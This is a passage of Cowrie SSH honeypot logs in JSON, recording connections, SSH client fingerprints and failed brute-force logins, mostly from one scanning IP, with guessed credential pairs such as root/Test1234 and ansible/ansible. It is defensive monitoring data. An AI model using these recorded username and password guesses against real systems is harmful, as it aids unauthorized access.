 client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:34.141924Z","src_ip":"192.109.200.78","session":"9cb05446228f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:34.389596Z","src_ip":"192.109.200.78","session":"9cb05446228f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:35.583162Z","src_ip":"192.109.200.78","session":"9cb05446228f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42108,"dst_ip":"159.203.135.109","dst_port":22,"session":"609f1cff254d","protocol":"ssh","message":"New connection: 192.109.200.78:42108 (159.203.135.109:22) [session: 609f1cff254d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:38.202125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:38.207841Z","src_ip":"192.109.200.78","session":"609f1cff254d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:38.295244Z","src_ip":"192.109.200.78","session":"609f1cff254d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:38.544273Z","src_ip":"192.109.200.78","session":"609f1cff254d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:39.929832Z","src_ip":"192.109.200.78","session":"609f1cff254d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.247.153.211","src_port":59152,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcaadb5ccbfe","protocol":"ssh","message":"New connection: 223.247.153.211:59152 (10.17.0.5:22) [session: bcaadb5ccbfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:41.556859Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42110,"dst_ip":"159.203.135.109","dst_port":22,"session":"98cf10193428","protocol":"ssh","message":"New connection: 192.109.200.78:42110 (159.203.135.109:22) [session: 98cf10193428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:42.190108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:42.194797Z","src_ip":"192.109.200.78","session":"98cf10193428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:42.279331Z","src_ip":"192.109.200.78","session":"98cf10193428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:42.527640Z","src_ip":"192.109.200.78","session":"98cf10193428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:43.714486Z","src_ip":"192.109.200.78","session":"98cf10193428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42124,"dst_ip":"159.203.135.109","dst_port":22,"session":"467076260de8","protocol":"ssh","message":"New connection: 192.109.200.78:42124 (159.203.135.109:22) [session: 467076260de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:46.459562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:46.464538Z","src_ip":"192.109.200.78","session":"467076260de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:46.550208Z","src_ip":"192.109.200.78","session":"467076260de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:46.798743Z","src_ip":"192.109.200.78","session":"467076260de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":51555,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc13d3c2be8","protocol":"ssh","message":"New connection: 177.54.62.66:51555 (10.17.0.5:22) [session: dcc13d3c2be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:47.283409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:47.289027Z","src_ip":"177.54.62.66","session":"dcc13d3c2be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:47.420778Z","src_ip":"177.54.62.66","session":"dcc13d3c2be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:47.887687Z","src_ip":"192.109.200.78","session":"467076260de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123@#","message":"login attempt [ubuntu/qwe123@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:47.983500Z","src_ip":"177.54.62.66","session":"dcc13d3c2be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:49.118130Z","src_ip":"177.54.62.66","session":"dcc13d3c2be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60948,"dst_ip":"159.203.135.109","dst_port":22,"session":"27b5676dd78d","protocol":"ssh","message":"New connection: 192.109.200.78:60948 (159.203.135.109:22) [session: 27b5676dd78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:50.539119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:50.543283Z","src_ip":"192.109.200.78","session":"27b5676dd78d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:50.627866Z","src_ip":"192.109.200.78","session":"27b5676dd78d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:50.877870Z","src_ip":"192.109.200.78","session":"27b5676dd78d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:51.976243Z","src_ip":"192.109.200.78","session":"27b5676dd78d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60964,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a0f352f41c4","protocol":"ssh","message":"New connection: 192.109.200.78:60964 (159.203.135.109:22) [session: 1a0f352f41c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:54.659739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:54.664819Z","src_ip":"192.109.200.78","session":"1a0f352f41c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:54.747533Z","src_ip":"192.109.200.78","session":"1a0f352f41c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:54.995529Z","src_ip":"192.109.200.78","session":"1a0f352f41c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:56.082670Z","src_ip":"192.109.200.78","session":"1a0f352f41c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36826,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc1b668e6914","protocol":"ssh","message":"New connection: 192.109.200.78:36826 (159.203.135.109:22) [session: bc1b668e6914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:58.656175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:58.661356Z","src_ip":"192.109.200.78","session":"bc1b668e6914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:58.746511Z","src_ip":"192.109.200.78","session":"bc1b668e6914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:58.995659Z","src_ip":"192.109.200.78","session":"bc1b668e6914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:00.113830Z","src_ip":"192.109.200.78","session":"bc1b668e6914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36842,"dst_ip":"159.203.135.109","dst_port":22,"session":"48eecbba8dd4","protocol":"ssh","message":"New connection: 192.109.200.78:36842 (159.203.135.109:22) [session: 48eecbba8dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:02.788447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:02.800436Z","src_ip":"192.109.200.78","session":"48eecbba8dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:02.874981Z","src_ip":"192.109.200.78","session":"48eecbba8dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:03.194518Z","src_ip":"192.109.200.78","session":"48eecbba8dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:04.283075Z","src_ip":"192.109.200.78","session":"48eecbba8dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36856,"dst_ip":"159.203.135.109","dst_port":22,"session":"3481d609b336","protocol":"ssh","message":"New connection: 192.109.200.78:36856 (159.203.135.109:22) [session: 3481d609b336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:38:06.842567Z"}
